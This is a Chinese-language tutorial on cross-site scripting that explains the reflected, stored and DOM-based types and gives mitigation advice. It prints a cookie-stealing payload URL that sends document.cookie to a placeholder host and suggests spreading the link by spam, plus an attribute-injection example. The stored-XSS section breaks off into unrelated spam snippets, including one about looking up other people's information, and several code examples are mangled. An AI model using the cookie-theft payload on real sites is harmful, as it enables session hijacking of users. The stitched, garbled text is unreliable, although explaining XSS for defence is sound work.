XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:
1. Reflected XSS(基于反射的XSS攻击)
2. Stored XSS(基于存储的XSS攻击)
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
Reflected XSS
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
例子:
1. 做个假设,当亚马逊在搜索书籍,搜不到书的时候显示提交的名称。
2. 在搜索框搜索内容,填入“”, 点击搜索。
3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
4. 进而可以构造获取用户cookies的地址,通过 *** 群或者垃圾邮件,来让其他人点击这个地址:
1 | http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookiescript> |
S:这个地址当然是没效的,只是举例子而已。
结论:
如果只是1、2、3步做成功,那也只是自己折腾自己而已,如果第4步能做成功,才是个像样的XSS攻击。
开发安全措施:
1. 前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。
2. 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
例如:
标签:
1 |
转义
1 | #39;handsome boy')> |
属性:
如果一个input的value属性值是
1 | 琅琊榜" onclick="javascript:alert('handsome boy') |
就可能出现
1 | "text"value="琅琊榜"onclick="javascript:alert('handsome boy')"> |
点击input导致攻击脚本被执行,解决方式可以对script或者双引号进行过滤。
Stored XSS
基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
例子:
自己试试才知道。扫描一般都是免费的。看能不能找到你要的文件。我用的恢复软件是安易。 没用过,数据丢失一直用的顶尖数据恢复软件它是非常强大的硬盘数据恢复软件,能够帮你恢复丢失的数据,不会向你的硬件写入任...
自动赚钱软件下载(挂机自动阅读一天赚多少)自己摸索了一年多,终于摸索出了一套比较完整自动阅读攻略,供想玩阅读的朋友参考。 其文章内容有我自己的实践经验跟网上一些玩阅读项目前辈的总结。 阅读...
最近电视剧都挺好一经播出,就引起了很多观众的共鸣。电视剧二儿子很多行为都都感到愤恨,这部关于家庭的电视剧给了很多启发,三十多岁的人还要靠家里来养活,其实这很大程度上和原生态家庭有关。父母从小培养孩子的...
美人为馅七人团的名字 1、美人为馅七人团分别是谁?A、T、L、R、E、K、M,也即夏俊艾、谢陆、季子苌、罗斌、辛佳、许湳柏和穆方诚,s是徐司白 《美人为馅》之七人团领头分析 谢陆——或者现在应该称之为...
黑客教你查寻别人信息(淘宝网代查本人信息暗号)众所周知,腾讯官方在社群营销应用平台有着大些的主导权,因为腾讯官方集团旗下的几大社群营销运用微信和QQ在大家的存活中占据侧重路面位。其中,QQ给八零后、九...
本文导读目录: 1、黑客攻击的步骤及原理 2、黑客入侵攻击的一般有哪些基本过程 3、黑客入侵一般有哪些基本过程? 4、网络攻击一般分为哪几个步骤? 5、黑客在进攻的过程中,需要经过哪些...